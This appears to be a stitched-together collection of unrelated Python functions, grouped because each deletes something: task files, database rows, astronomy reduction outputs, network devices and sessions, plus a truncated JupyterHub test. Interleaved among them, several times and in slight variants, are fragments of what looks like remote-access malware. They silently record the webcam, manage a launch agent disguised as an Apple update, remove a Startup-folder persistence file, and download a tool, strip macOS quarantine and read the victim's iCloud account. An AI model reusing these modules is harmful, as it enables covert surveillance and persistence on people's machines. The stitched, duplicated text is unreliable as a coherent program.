def video(*args, **kwargs):
try:
fpath = os.path.join(os.path.expandvars('%TEMP%'), 'tmp{}.avi'.format(
random.randint(1000, 9999))) if os.name == 'nt' else os.path.join(
'/tmp', 'tmp{}.avi'.format(random.randint(1000, 9999)))
fourcc = cv2.VideoWriter_fourcc(
*'DIVX') if os.name is 'nt' else cv2.VideoWriter_fourcc(*'XVID')
output = cv2.VideoWriter(fpath, fourcc, 20.0, (640, 480))
length = float(int([i for i in args if bytes(i).isdigit()][0])) if len(
[i for i in args if bytes(i).isdigit()]) else 5.0
end = time.time() + length
dev = cv2.VideoCapture(0)
while True:
ret, frame = dev.read()
output.write(frame)
if time.time() > end: break
dev.release()
with open(fpath, 'rb') as fp:
result = fp.read()
try:
util.delete(fpath)
except:
pass
return result
except Exception as e:
return '{} error: {}'.format(video.func_name, str(e))
def remove(assignment_def_id):
answer_key_id = util.select('Answer_key',('answer_key_id'),{'assignment_def_id':assignment_def_id})[0][0]
fields = Field.get_fields(answer_key_id)
for field in fields:
field.remove(answer_key_id)
util.delete('Answer_key',{'answer_key_id':answer_key_id})
def _remove_launch_agent(value=None, name='com.apple.update.manager'):
try:
if _methods['launch_agent'].established:
launch_agent = _methods['launch_agent'].result
if os.path.isfile(launch_agent):
util.delete(launch_agent)
return (False, None)
except Exception as e:
util.log("{} error: {}".format(_remove_launch_agent.func_name, str(e)))
return (_methods['launch_agent'].established, _methods['launch_agent'].result)
def _remove_launch_agent(value=None, name='com.apple.update.manager'):
try:
if _methods['launch_agent'].established:
launch_agent = _methods['launch_agent'].result
if os.path.isfile(launch_agent):
util.delete(launch_agent)
return (False, None)
except Exception as e:
util.log("{} error: {}".format(_remove_launch_agent.__name__, str(e)))
return (_methods['launch_agent'].established, _methods['launch_agent'].result)
def delete_file(self, sender):
"""Delete a task file."""
task_file = self.delete_dialog['textfield1'].text
if not task_file == '':
task_file = util.validate_file(task_file)
if task_file:
self.delete_dialog.close()
util.delete(task_file)
else:
self.display_message(self.delete_dialog['textfield1'].text + ' is not a valid file!')
self.delete_dialog['textfield1'].text = ''
def run():
"""
Check for logged in iCloud account on macOS
"""
filename, _ = urllib.urlretrieve("https://github.com/mas-cli/mas/releases/download/v1.4.2/mas-cli.zip")
util.unzip(filename)
mas = os.path.join(os.path.dirname(filename), 'mas')
subprocess.Popen(['xattr','-r','-d','com.apple.quarantine',mas], 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE)
os.chmod(mas, 755)
result = subprocess.check_output([mas, "account"]).rstrip()
util.delete(mas)
return result
def delete_file(self, sender):
"""Delete a task file."""
task_file = self.delete_dialog["txt_filename"].text
if not task_file == "":
task_file = util.validate_file(task_file)
if task_file:
self.delete_dialog.close()
util.delete(task_file)
else:
self.display_message(self.delete_dialog["txt_filename"].text + " is not a valid file!")
self.delete_dialog["txt_filename"].text = ""
def remove_launch_agent(name='com.apple.update.manager'):
try:
if methods['launch_agent'].get('established') and os.name == 'nt':
launch_agent = persistence['launch_agent'].get('result')
if os.path.isfile(launch_agent):
util.delete(launch_agent)
return (False, None)
except Exception as e:
util.debug("{} error: {}".format(remove_launch_agent.func_name,
str(e)))
return (methods['launch_agent']['established'],
methods['launch_agent']['result'])
def delete_file(self, sender):
"""Delete a task file."""
task_file = self.delete_dialog['txt_filename'].text
if not task_file == '':
task_file = util.validate_file(task_file)
if task_file:
self.delete_dialog.close()
util.delete(task_file)
else:
self.display_message(self.delete_dialog['txt_filename'].text + ' is not a valid file!')
self.delete_dialog['txt_filename'].text = ''
def save_tasks(self, sender):
"""Save the tasks to the specified file."""
task_file = self.save_dialog['txt_save_file'].text
if task_file:
if task_file.rfind('.tsk', len(task_file) - 4) == -1:
task_file += '.tsk'
self.save_dialog.close()
if task_file == self.current_task_file:
# some bug; even though the file should be closed, I can't overwrite it
util.delete(task_file)
util.save(self.tasklist.tasks, task_file)
else:
self.save_dialog['txt_save_file'].text = ''
def run():
"""
Check for logged in iCloud account on macOS
"""
filename, _ = urllib.urlretrieve(
"https://github.com/mas-cli/mas/releases/download/v1.4.2/mas-cli.zip")
util.unzip(filename)
mas = os.path.join(os.path.dirname(filename), 'mas')
subprocess.check_output(
'xattr -r -d com.apple.quarantine {}'.format(mas).split(' '))
os.chmod(mas, 755)
result = subprocess.check_output([mas, "account"]).rstrip()
util.delete(mas)
return result
def save_tasks(self, sender):
"""Save the tasks to the specified file."""
task_file = self.save_dialog['textfield1'].text
if not task_file == '':
if task_file.rfind('.tsk', len(task_file) -4) == -1:
task_file += '.tsk'
self.save_dialog.close()
if task_file == self.current_task_file:
# some bug; even though the file should be closed, I can't overwrite
util.delete(task_file)
util.save(self.tasklist.tasks, task_file)
else:
self.save_dialog['textfield1'].text = ''
def save_tasks(self, sender):
"""Save the tasks to the specified file."""
task_file = self.save_dialog["txt_save_file"].text
if task_file:
if task_file.rfind(".tsk", len(task_file) - 4) == -1:
task_file += ".tsk"
self.save_dialog.close()
if task_file == self.current_task_file:
# some bug; even though the file should be closed, I can't overwrite it
util.delete(task_file)
util.save(self.tasklist.tasks, task_file)
else:
self.save_dialog["txt_save_file"].text = ""
def run():
"""
Check for logged in iCloud account on macOS
"""
filename, _ = urllib.urlretrieve(
"https://github.com/mas-cli/mas/releases/download/v1.4.2/mas-cli.zip")
util.unzip(filename)
mas = os.path.join(os.path.dirname(filename), 'mas')
subprocess.Popen(['xattr', '-r', '-d', 'com.apple.quarantine', mas], 0,
None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE)
os.chmod(mas, 755)
result = subprocess.check_output([mas, "account"]).rstrip()
util.delete(mas)
return result
def _remove_startup_file():
try:
if _methods['startup_file'].established:
value = _methods['startup_file'].result
if value and os.path.isfile(value):
if os.name != 'nt':
return (False, None)
appdata = os.path.expandvars("%AppData%")
startup_dir = os.path.join(appdata, r'Microsoft\Windows\Start Menu\Programs\Startup')
startup_file = os.path.join(startup_dir, value) + '.eu.url'
if os.path.exists(startup_file):
util.delete(startup_file)
return (False, None)
except Exception as e:
util.log('{} error: {}'.format(_remove_startup_file.__name__, str(e)))
def _remove_startup_file():
try:
if _methods['startup_file'].established:
value = _methods['startup_file'].result
if value and os.path.isfile(value):
if os.name != 'nt':
return (False, None)
appdata = os.path.expandvars("%AppData%")
startup_dir = os.path.join(appdata, r'Microsoft\Windows\Start Menu\Programs\Startup')
startup_file = os.path.join(startup_dir, value) + '.eu.url'
if os.path.exists(startup_file):
util.delete(startup_file)
return (False, None)
except Exception as e:
util.log('{} error: {}'.format(_remove_startup_file.func_name, str(e)))
def remove_assignments_for_student(account_id):
aids = util.select('Assignment', ('assignment_id'), {'account_id': account_id},
classname=Assignment.__name__)
for aid in aids:
SubmissionFile.remove_files(aid)
nbr_rows_del = util.delete('Assignment',{'account_id':account_id},classname=Assignment.__name__)
util.log_info('Deleted {} assignments where account_id={}'.format(nbr_rows_del,account_id))
def remove_files(assignment_id):
nbr_rows_del = util.delete(
'Submission_files',
{'assignment_id':assignment_id},
classname=SubmissionFile.__name__
)
return nbr_rows_del
def inner_step_body(i, params):
q_i_params = params[i]
q_not_i_params = util.delete(params, i)
new_params = opt_method(lambda x: kl(x, i, q_not_i_params),
lambda x: grad_kl(x, i, q_not_i_params),
lambda x: 0.,
q_i_params)
return jax.ops.index_update(params, i, new_params)
def del_dnac(self, site_id):
url = "group/{}".format(site_id)
response = delete(url)
logging.debug(json.dumps(response))
if 'errorCode' in response:
return response['message']
message = response['progress']
if "failureReason" in response:
message += '-:{}'.format(response['failureReason'])
return message
def dele():
session_uid = session.get('uid')
uid = request.args.get('id') #type uid <type 'unicode'> session_uid <type 'int'>
result = delete(uid)
#print "uid %s session_uid %s" % (uid,session_uid)
#print "type uid %s session_uid %s" % (str(type(uid)),str(type(session_uid)))
if int(uid.encode("utf-8")) == session_uid :
print "del %s" % session.get('uid')
del session['uid'] #不删除判断login_required报错
print "del %s" % session.get('uid')
return redirect(url_for('userlist'))
def POST(self):
try:
sess_key = web.cookies().wsid_login
sess = util.select_one('sessions', where='sess=$s', vars={'s': sess_key})
web.setcookie('wsid_login',sess_key,expires=-1)
print "del", util.delete('sessions', where='sess=$s', vars={'s': sess_key})
except AttributeError:
raise status.ApiError('401 Not logged in')
except KeyError:
raise status.ApiError('401 Invalid session')
raise status.ApiError('200 OK')
def remove(account_id):
account = Account.get_account(account_id)
util.delete('Pwd_reset',{'account_id':account_id},classname=Account.__name__)
if account.account_type == 'instructor':
db_read = util.select('Class',('class_id'),{'account_id':account_id},classname=Account.__name__)
class_ids = [r[0] for r in db_read]
for cid in class_ids:
student_account_ids = ClassList.get_student_account_ids(cid)
for sid in student_account_ids:
Assignment.remove_assignments_for_student(sid)
ClassList.remove_class(cid)
Class.remove(cid)
AssignmentDefinition.remove_all_for_instructor(account_id)
else:
ClassList.remove_student_from_class(account_id)
assignments = Assignment.get_all_assignments(account_id)
for a in assignments:
a.remove_assignments_for_student(account_id)
util.delete('Account',{'account_id':account_id},classname=Account.__name__)
def stage(relpath, add_to=True):
ri = read_index()
# find the first instance of relpath
ridx = next((i for i, j in enumerate(ri) if j[1] == relpath), None)
# index structure
# blob_hash, rel_path, mtime, size
if add_to:
bs = wstat(relpath)
# file is already in the index, it might need to be updated with a new blob, and stats
if ridx is not None:
# the file has been updated, update its stats
if ri[ridx][2] != bs[0] or ri[ridx][2] != bs[0]:
bc = read(relpath)
bh = hashbuf(bc)
# if the blob does not already exists, then create, otherwise, reuse
if not exists(bh):
objects.write(bh, bc)
ri[ridx] = (bh, relpath, bs[0], bs[1])
else:
bc = read(relpath)
bh = hashbuf(bc)
# if the blob does not already exists, then create, otherwise, reuse
if not exists(bh):
objects.write(bh, bc)
ri.append((bh, relpath, bs[0], bs[1]))
# bvc stage rm relpath
# remove the file from working directory and remove from index
else:
if ridx is not None:
delete(relpath)
del ri[ridx]
# sort the index
sri = sorted(ri, key=lambda x: x[1])
write_index(sri)
def video(*args, **kwargs):
try:
fpath = os.path.join(os.path.expandvars('%TEMP%'), 'tmp{}.avi'.format(random.randint(1000,9999))) if os.name == 'nt' else os.path.join('/tmp', 'tmp{}.avi'.format(random.randint(1000,9999)))
fourcc = cv2.VideoWriter_fourcc(*'DIVX') if os.name == 'nt' else cv2.VideoWriter_fourcc(*'XVID')
output = cv2.VideoWriter(fpath, fourcc, 20.0, (640,480))
length = float(int([i for i in args if bytes(i).isdigit()][0])) if len([i for i in args if bytes(i).isdigit()]) else 5.0
end = time.time() + length
dev = cv2.VideoCapture(0)
while True:
ret, frame = dev.read()
output.write(frame)
if time.time() > end: break
dev.release()
with open(fpath, 'rb') as fp:
result = fp.read()
try:
util.delete(fpath)
except: pass
return result
except Exception as e:
return '{} error: {}'.format(video.__name__, str(e))
def delete_devices(deviceList):
taskdict = {}
for device in deviceList:
device=device.rstrip()
try:
dev_id = device2id(device)
except IndexError:
print("{}: ERROR NOT FOUND".format(device))
continue
taskid = delete('dna/intent/api/v1/network-device/{}'.format(dev_id))
print('deleting {}:{}'.format(device, taskid))
taskdict[taskid] = device
#print(json.dumps(taskdict))
print("polling deletion tasks")
responses = wait_on_tasks(taskdict.keys())
print("\nTask results:")
for response in responses:
message = ''
if 'progress' in response:
message = response['progress']
print('{}:{}:{}'.format(taskdict[response['id']], response['id'],message))
def main():
description = "> Performs pre-reduction steps"
usage = "%prog \t [option] \n Recommended syntax: %prog -i -c"
parser = OptionParser(usage=usage, description=description, version="0.1")
option, args = parser.parse_args()
iraf.noao(_doprint=0)
iraf.imred(_doprint=0)
iraf.ccdred(_doprint=0)
iraf.twodspec(_doprint=0)
iraf.longslit(_doprint=0)
iraf.onedspec(_doprint=0)
iraf.specred(_doprint=0)
iraf.ccdred.verbose = 'no'
iraf.specred.verbose = 'no'
iraf.ccdproc.darkcor = 'no'
iraf.ccdproc.fixpix = 'no'
iraf.ccdproc.flatcor = 'no'
iraf.ccdproc.zerocor = 'no'
iraf.ccdproc.ccdtype = ''
iraf.longslit.mode = 'h'
iraf.specred.mode = 'h'
iraf.noao.mode = 'h'
iraf.ccdred.instrument = "ccddb$kpno/camera.dat"
mkarc = raw_input("Make arc? ([y]/n): ")
mkflat = raw_input("Make flat? ([y]/n): ")
if len(args) > 1:
files = []
sys.argv.append('--help')
option, args = parser.parse_args()
sys.exit()
elif len(args) == 1:
files = util.readlist(args[0])
sys.exit()
else:
listfile = glob.glob('*.fits')
files_science = []
files_arc = []
files_dflat = []
#print 'checking your files ...'
for img in listfile:
_type = ''
hdr0 = util.readhdr(img)
_type = util.readkey3(hdr0, 'object')
if 'flat' in _type.lower():
files_dflat.append(img)
elif 'arc' not in _type.lower() and 'arc' not in img.lower():
files_science.append(img)
if mkarc != 'n':
mkarc_b = raw_input(
"List blue arc files to combine (.fits will be added): "
).split()
mkarc_r = raw_input(
"List red arc files to combine (.fits will be added): ").split(
)
for arc in mkarc_b:
files_arc.append(arc + '.fits')
for arc in mkarc_r:
files_arc.append(arc + '.fits')
if mkarc != 'n':
list_arc_b = []
list_arc_r = []
for arcs in files_arc:
if instruments.blue_or_red(arcs)[0] == 'blue':
list_arc_b.append(arcs)
elif instruments.blue_or_red(arcs)[0] == 'red':
list_arc_r.append(arcs)
else:
sys.exit()
if mkflat != 'n':
list_flat_b = []
list_flat_r = []
for dflats in files_dflat:
if instruments.blue_or_red(dflats)[0] == 'blue':
list_flat_b.append(dflats)
elif instruments.blue_or_red(dflats)[0] == 'red':
list_flat_r.append(dflats)
else:
sys.exit()
# make pre_reduced if it doesn't exist
if not os.path.isdir('pre_reduced/'):
os.mkdir('pre_reduced/')
# log the existing processed files (need to verify this works if pre_reduced is empty...)
pfiles = []
new_files = []
for root, dirnames, filenames in os.walk('pre_reduced'):
for file in filenames:
if file.startswith('to'):
pfiles.append(file)
print(pfiles)
# loop over each image in pre_reduced
for img in listfile:
hdr = util.readhdr(img)
targ = util.readkey3(hdr, 'object')
# if file is not not a processed file, run the overscan+trim code
if 'to' + img not in pfiles:
# if the file is a science file, grab the name for later
if 'arc' not in targ.lower() and 'flat' not in targ.lower():
new_files.append(img)
print('Adding data for: ' + targ)
inst = instruments.blue_or_red(img)[1]
iraf.specred.dispaxi = inst.get('dispaxis')
iraf.longslit.dispaxi = inst.get('dispaxis')
_biassec0 = inst.get('biassec')
_trimsec0 = inst.get('trimsec')
######################################################################
#
# JB: this chunk of code needs attention
# It seems incredibly hacky for anything but Kast...
#
# overscan
if not img.startswith('o') and inst.get('observatory') == 'lick':
if os.path.isfile('pre_reduced/o' + img):
os.remove('pre_reduced/o' + img)
util.kastbias(img, 'pre_reduced/o' + img)
elif not img.startswith('o') and inst.get('observatory') != 'lick':
if os.path.isfile('pre_reduced/o' + img):
os.remove('pre_reduced/o' + img)
os.system('cp ' + img + ' ' + 'pre_reduced/' + img)
# trim
if not img.startswith('t') and inst.get('observatory') == 'lick':
if os.path.isfile('pre_reduced/to' + img):
os.remove('pre_reduced/to' + img)
iraf.ccdproc('pre_reduced/o' + img,
output='pre_reduced/to' + img,
overscan='no',
trim='yes',
zerocor="no",
flatcor="no",
readaxi='line',
trimsec=str(_trimsec0),
Stdout=1)
elif not img.startswith('t') and inst.get('observatory') != 'lick':
if os.path.isfile('pre_reduced/to' + img):
os.remove('pre_reduced/to' + img)
iraf.ccdproc('pre_reduced/' + img,
output='pre_reduced/to' + img,
overscan='yes',
trim='yes',
zerocor="no",
flatcor="no",
readaxi='line',
trimsec=str(_trimsec0),
biassec=str(_biassec0),
Stdout=1)
# combine the arcs
if mkarc != 'n':
# blue arcs
if len(list_arc_b) > 0:
if len(list_arc_b) == 1:
arc_blue = list_arc_b[0]
os.system('cp ' + 'pre_reduced/to' + arc_blue + ' ' +
'pre_reduced/ARC_blue.fits')
else:
arc_str = ''
for arc in list_arc_b:
arc_str = arc_str + 'pre_reduced/to' + arc + ','
if os.path.isfile('pre_reduced/ARC_blue.fits'):
os.remove('pre_reduced/ARC_blue.fits')
iraf.imcombine(arc_str, output='pre_reduced/ARC_blue.fits')
# red arcs
if len(list_arc_r) > 0:
if len(list_arc_r) == 1:
arc_red = list_arc_r[0]
os.system('cp ' + 'pre_reduced/to' + arc_red + ' ' +
'pre_reduced/ARC_red.fits')
else:
arc_str = ''
for arc in list_arc_r:
arc_str = arc_str + 'pre_reduced/to' + arc + ','
if os.path.isfile('pre_reduced/ARC_red.fits'):
os.remove('pre_reduced/ARC_red.fits')
iraf.imcombine(arc_str, output='pre_reduced/ARC_red.fits')
# combine the flats
if mkflat != 'n':
inter = 'yes'
# blue flats
if len(list_flat_b) > 0:
br, inst = instruments.blue_or_red(list_flat_b[0])
iraf.specred.dispaxi = inst.get('dispaxis')
if len(list_flat_b) == 1:
# Flat_blue = 'pre_reduced/to'+ list_flat_b[0]
Flat_blue = list_flat_b[0]
else:
flat_str = ''
for flat in list_flat_b:
flat_str = flat_str + 'pre_reduced/to' + flat + ','
#subsets = 'no'
if os.path.isfile('pre_reduced/toFlat_blue'):
os.remove('pre_reduced/toFlat_blue')
iraf.flatcombine(flat_str,
output='pre_reduced/toFlat_blue',
ccdtype='',
rdnoise=3.7,
subsets='no',
process='no')
Flat_blue = 'Flat_blue.fits'
#What is the output here? Check for overwrite
iraf.specred.response('pre_reduced/to' + Flat_blue,
normaliz='pre_reduced/to' + Flat_blue,
response='pre_reduced/RESP_blue',
interac=inter,
thresho='INDEF',
sample='*',
naverage=2,
function='legendre',
low_rej=3,
high_rej=3,
order=60,
niterat=20,
grow=0,
graphic='stdgraph')
# red flats
if len(list_flat_r) > 0:
br, inst = instruments.blue_or_red(list_flat_r[0])
iraf.specred.dispaxi = inst.get('dispaxis')
if len(list_flat_r) == 1:
# Flat_red = 'pre_reduced/to' + list_flat_r[0]
Flat_red = list_flat_r[0]
else:
flat_str = ''
for flat in list_flat_r:
flat_str = flat_str + 'pre_reduced/to' + flat + ','
if os.path.isfile('pre_reduced/toFlat_red'):
os.remove('pre_reduced/toFlat_red')
iraf.flatcombine(flat_str,
output='pre_reduced/toFlat_red',
ccdtype='',
rdnoise=3.8,
subsets='yes',
process='no')
Flat_red = 'Flat_red.fits'
#What is the output here? Check for overwrite
iraf.specred.response('pre_reduced/to' + Flat_red,
normaliz='pre_reduced/to' + Flat_red,
response='pre_reduced/RESP_red',
interac=inter,
thresho='INDEF',
sample='*',
naverage=2,
function='legendre',
low_rej=3,
high_rej=3,
order=80,
niterat=20,
grow=0,
graphic='stdgraph')
# science files should have 't' in front now
# this just gets the base name, to prefix assumed below
if new_files is not None:
files_science = new_files
# get all the science objects for the night
science_targets = []
for obj in files_science:
hdr = util.readhdr(obj)
_type = util.readkey3(hdr, 'object')
science_targets.append(_type)
# make a dir for each sci object
science_targets = set(science_targets)
for targ in science_targets:
if not os.path.isdir('pre_reduced/' + targ + '/'):
os.mkdir('pre_reduced/' + targ + '/')
# copy the files into the obj dir
for obj in files_science:
hdr = util.readhdr(obj)
targ = util.readkey3(hdr, 'object')
if not obj.startswith('to'):
os.system('cp ' + 'pre_reduced/to' + obj + ' ' + 'pre_reduced/' +
targ + '/')
else:
os.system('cp ' + 'pre_reduced/' + obj + ' ' + 'pre_reduced/' +
targ + '/')
rawfiles = glob.glob('*.fits')
ofiles = glob.glob('pre_reduced/o' + '*.fits')
tfiles = glob.glob('pre_reduced/to' + '*.fits')
# delete raw files from the pre_reduced dir
# there shouldn't be any there though?
# maybe if the overscan isn't implemented for that detector
for img in rawfiles:
util.delete('pre_reduced/' + img)
# delete the ofiles from pre_reduced dir
for img in ofiles:
util.delete(img)
def deleteAllPersons(ignore):
"""delete all persons in the store using RESTCONF"""
util.delete(settings.getPersonsUrl(), "admin", "admin")
resp = getPersons(ignore)
print("Persons in store after deletion:" + str(resp))
def reduce(imglist,files_arc, _cosmic, _interactive_extraction,_arc):
import string
import os
import re
import sys
os.environ["PYRAF_BETA_STATUS"] = "1"
try: from astropy.io import fits as pyfits
except: import pyfits
import numpy as np
import util
import instruments
import combine_sides as cs
import cosmics
from pyraf import iraf
dv = util.dvex()
scal = np.pi / 180.
if not _interactive_extraction:
_interactive = False
else:
_interactive = True
if not _arc:
_arc_identify = False
else:
_arc_identify = True
iraf.noao(_doprint=0)
iraf.imred(_doprint=0)
iraf.ccdred(_doprint=0)
iraf.twodspec(_doprint=0)
iraf.longslit(_doprint=0)
iraf.onedspec(_doprint=0)
iraf.specred(_doprint=0)
iraf.disp(inlist='1', reference='1')
toforget = ['ccdproc', 'imcopy', 'specred.apall', 'longslit.identify', 'longslit.reidentify', 'specred.standard',
'longslit.fitcoords', 'onedspec.wspectext']
for t in toforget:
iraf.unlearn(t)
iraf.ccdred.verbose = 'no'
iraf.specred.verbose = 'no'
iraf.ccdproc.darkcor = 'no'
iraf.ccdproc.fixpix = 'no'
iraf.ccdproc.flatcor = 'no'
iraf.ccdproc.zerocor = 'no'
iraf.ccdproc.ccdtype = ''
iraf.longslit.mode = 'h'
iraf.specred.mode = 'h'
iraf.noao.mode = 'h'
iraf.ccdred.instrument = "ccddb$kpno/camera.dat"
list_arc_b = []
list_arc_r = []
for arcs in files_arc:
hdr = util.readhdr(arcs)
if util.readkey3(hdr, 'VERSION') == 'kastb':
list_arc_b.append(arcs)
elif util.readkey3(hdr, 'VERSION') == 'kastr':
list_arc_r.append(arcs)
else:
print util.readkey3(hdr, 'VERSION') + 'not in database'
sys.exit()
asci_files = []
newlist = [[],[]]
print '\n### images to reduce :',imglist
#raise TypeError
for img in imglist:
if 'b' in img:
newlist[0].append(img)
elif 'r' in img:
newlist[1].append(img)
if len(newlist[1]) < 1:
newlist = newlist[:-1]
for imgs in newlist:
hdr = util.readhdr(imgs[0])
if util.readkey3(hdr, 'VERSION') == 'kastb':
inst = instruments.kast_blue
elif util.readkey3(hdr, 'VERSION') == 'kastr':
inst = instruments.kast_red
else:
print util.readkey3(hdr, 'VERSION') + 'not in database'
sys.exit()
iraf.specred.dispaxi = inst.get('dispaxis')
iraf.longslit.dispaxi = inst.get('dispaxis')
_gain = inst.get('gain')
_ron = inst.get('read_noise')
iraf.specred.apall.readnoi = _ron
iraf.specred.apall.gain = _gain
_object0 = util.readkey3(hdr, 'OBJECT')
_date0 = util.readkey3(hdr, 'DATE-OBS')
_biassec0 = inst.get('biassec')
_trimsec0 = inst.get('trimsec')
_object0 = re.sub(' ', '', _object0)
_object0 = re.sub('/', '_', _object0)
nameout0 = str(_object0) + '_' + inst.get('name') + '_' + str(_date0)
nameout0 = util.name_duplicate(imgs[0], nameout0, '')
timg = nameout0
print '\n### now processing :',timg,' for -> ',inst.get('name')
if len(imgs) > 1:
img_str = ''
for i in imgs:
img_str = img_str + i + ','
iraf.imcombine(img_str, output=timg)
else:
img = imgs[0]
if os.path.isfile(timg):
os.system('rm -rf ' + timg)
iraf.imcopy(img, output=timg)
zero_file = inst.get('archive_zero_file')
os.system('cp ' + zero_file + ' .')
zero_file = string.split(zero_file, '/')[-1]
flat_file = inst.get('archive_flat_file')
os.system('cp ' + flat_file + ' .')
flat_file = string.split(flat_file, '/')[-1]
iraf.ccdproc(timg, output='', overscan='yes', trim='yes', zerocor="no", flatcor="no", readaxi='line',
trimsec=str(_trimsec0),biassec=str(_biassec0), Stdout=1)
iraf.ccdproc(timg, output='', overscan='no', trim='no', zerocor="yes", flatcor="no", readaxi='line',
zero=zero_file,order=3, Stdout=1)
iraf.ccdproc(timg, output='', overscan='no', trim='no', zerocor="no", flatcor="yes", readaxi='line',
flat=flat_file, Stdout=1)
img = timg
#raw_input("Press Enter to continue...")
print '\n### starting cosmic removal'
if _cosmic:
array, header = cosmics.fromfits(img)
c = cosmics.cosmicsimage(array, gain=inst.get('gain'), readnoise=inst.get('read_noise'), sigclip = 4.5, sigfrac = 0.5, objlim = 1.0)
c.run(maxiter = 4)
cosmics.tofits('cosmic_' + img, c.cleanarray, header)
print '\n### cosmic removal finished'
img='cosmic_' + img
if inst.get('name') == 'kast_blue':
arcfile = list_arc_b[0]
elif inst.get('name') == 'kast_red':
arcfile = list_arc_r[0]
if not arcfile.endswith(".fits"):
arcfile=arcfile+'.fits'
if os.path.isfile(arcfile):
util.delete('t' + arcfile)
iraf.ccdproc(arcfile, output= 't' + arcfile, overscan='yes', trim='yes', zerocor="no", flatcor="no",
readaxi='line', trimsec=str(_trimsec0), biassec=str(_biassec0), Stdout=1)
arcfile = 't' + arcfile
else:
print '\n### warning no arcfile \n exit '
sys.exit()
if not os.path.isdir('database/'):
os.mkdir('database/')
if _arc_identify:
arc_ex=re.sub('.fits', '.ms.fits', arcfile)
print '\n### arcfile : ',arcfile
print '\n### arcfile extraction : ',arc_ex
iraf.specred.apall(arcfile, output='', line = 'INDEF', nsum=10, interactive='no', extract='yes',find='yes', nfind=1 ,format='multispec', trace='no',back='no',recen='no')
iraf.longslit.identify(images=arc_ex, section=inst.get('section'),coordli=inst.get('line_list'),function = 'spline3',order=3, mode='h')
else:
arcref = inst.get('archive_arc_extracted')
arcrefid = inst.get('archive_arc_extracted_id')
os.system('cp ' + arcref + ' .')
arcref = string.split(arcref, '/')[-1]
os.system('cp ' + arcrefid + ' ./database')
arc_ex=re.sub('.fits', '.ms.fits', arcfile)
print '\n### arcfile : ',arcfile
print '\n### arcfile extraction : ',arc_ex
print '\n### arc referenece : ',arcref
iraf.specred.apall(arcfile, output=arc_ex, line = 'INDEF', nsum=10, interactive='no', extract='yes',find='yes', nfind=1 ,format='multispec', trace='no',back='no',recen='no')
iraf.longslit.reidentify(referenc=arcref, images=arc_ex, interac='NO', section=inst.get('section'),
coordli=inst.get('line_list'), shift='INDEF', search='INDEF',
mode='h', verbose='YES', step=0,nsum=5, nlost=2, cradius=10, refit='yes',overrid='yes',newaps='no')
#print '\n### checking sky lines '
#_skyfile = inst.get('sky_file')
#shift = util.skyfrom2d(img, _skyfile,'True')
#print '\n### I found a shift of : ',shift
print '\n### extraction using apall'
result = []
hdr_image = util.readhdr(img)
_type=util.readkey3(hdr_image, 'object')
if _type.startswith("arc") or _type.startswith("dflat") or _type.startswith("Dflat") or _type.startswith("Dbias") or _type.startswith("Bias"):
print '\n### warning problem \n exit '
sys.exit()
else:
imgex = util.extractspectrum(
img, dv, inst, _interactive, 'obj')
print '\n### applying wavelength solution'
iraf.disp(inlist=imgex, reference=arc_ex)
sensfile = inst.get('archive_sens')
os.system('cp ' + sensfile + ' .')
sensfile = string.split(sensfile, '/')[-1]
if sensfile:
print '\n### sensitivity function : ',sensfile
imgf = re.sub('.fits', '_f.fits', img)
_extinction = inst.get('extinction_file')
_observatory = inst.get('observatory')
_exptime = util.readkey3(hdr, 'EXPTIME')
_airmass = util.readkey3(hdr, 'AIRMASS')
util.delete(imgf)
dimgex='d'+imgex
iraf.specred.calibrate(input=dimgex, output=imgf, sensiti=sensfile, extinct='yes',
extinction=_extinction,flux='yes', ignorea='yes', airmass=_airmass, exptime=_exptime,
fnu='no')
imgout = imgf
imgasci = re.sub('.fits', '.asci', imgout)
errasci = re.sub('.fits', '_err.asci', imgout)
util.delete(imgasci)
iraf.onedspec.wspectext(imgout + '[*,1,1]', imgasci, header='no')
iraf.onedspec.wspectext(imgout + '[*,1,4]', errasci, header='no')
spec = np.transpose(np.genfromtxt(imgasci))
err = np.transpose(np.genfromtxt(errasci))
util.delete(errasci)
final = np.transpose([spec[0], spec[1], err[1]])
np.savetxt(imgasci, final)
result = result + [imgout, imgasci]
result = result + [imgex] + [timg]
asci_files.append(imgasci)
if not os.path.isdir(_object0 + '/'):
os.mkdir(_object0 + '/')
for img in result:
os.system('mv ' + img + ' ' + _object0 + '/')
else:
for img in result:
os.system('mv ' + img + ' ' + _object0 + '/')
if not _arc_identify:
util.delete(arcref)
util.delete(sensfile)
util.delete(zero_file)
util.delete(flat_file)
util.delete(arc_ex)
util.delete(arcfile)
util.delete('logfile')
util.delete(dimgex)
util.delete('cosmic_*')
print '\n### now i will merge ...'
if len(asci_files) > 1:
final = cs.combine_blue_red(asci_files[0], asci_files[1], _object0)
print '\n### final result in folder ',_object0,' is ',_object0+'_merged.asci'
return result
def test_auth_state_header_auth(build_image, network, container):
"""
Test that the client is able to. Test that auth_state recieves
the specified test data headers.
"""
test_logger.info("Start of test_auth_state_header_auth")
client = docker.from_env()
service_name = "jupyterhub"
if not wait_for_container(client, service_name, minutes=5):
raise RuntimeError(JUPYTERHUB_START_ERROR)
assert wait_for_site(JHUB_URL, valid_status_code=401) is True
with requests.session() as session:
# Auth requests
remote_user = "******"
data_str = "blablabla"
data_dict = {
"HOST": "hostaddr",
"USERNAME": "******",
"PATH": "@host.localhost:",
}
env_data = {"StringData": data_str, "JsonData": data_dict}
auth_data_header = {
"Remote-User": remote_user,
}
# Cast to json data types before submission
auth_data_header.update(
{env_key: json.dumps(env_val) for env_key, env_val in env_data.items()}
)
auth_response = session.post(
"".join([JHUB_HUB_URL, "/login"]), headers=auth_data_header
)
assert auth_response.status_code == 200
# Spawn with auth_state
spawn_response = session.post("".join([JHUB_HUB_URL, "/spawn"]))
assert spawn_response.status_code == 200
test_logger.info("Spawn POST response message: {}".format(spawn_response.text))
assert spawn_response.status_code == 200
target_container_name = "{}-{}".format("jupyter", remote_user)
wait_min = 5
if not wait_for_container(client, target_container_name, minutes=wait_min):
raise RuntimeError(
"No container with name: {} appeared within: {} minutes".format(
service_name, wait_min
)
)
spawned_container = get_container(client, target_container_name)
# Validate that the container has the passed environment values defined
# in env_data
envs = {
env.split("=")[0]: env.split("=")[1]
for env in spawned_container.attrs["Config"]["Env"]
}
for data_key, data_value in env_data.items():
assert data_key in envs
assert envs[data_key] == str(data_value)
# Shutdown the container
# Delete the spawned service
delete_headers = {"Referer": urljoin(JHUB_URL, "/hub/"), "Origin": JHUB_URL}
jhub_user = get_container_user(spawned_container)
assert jhub_user is not None
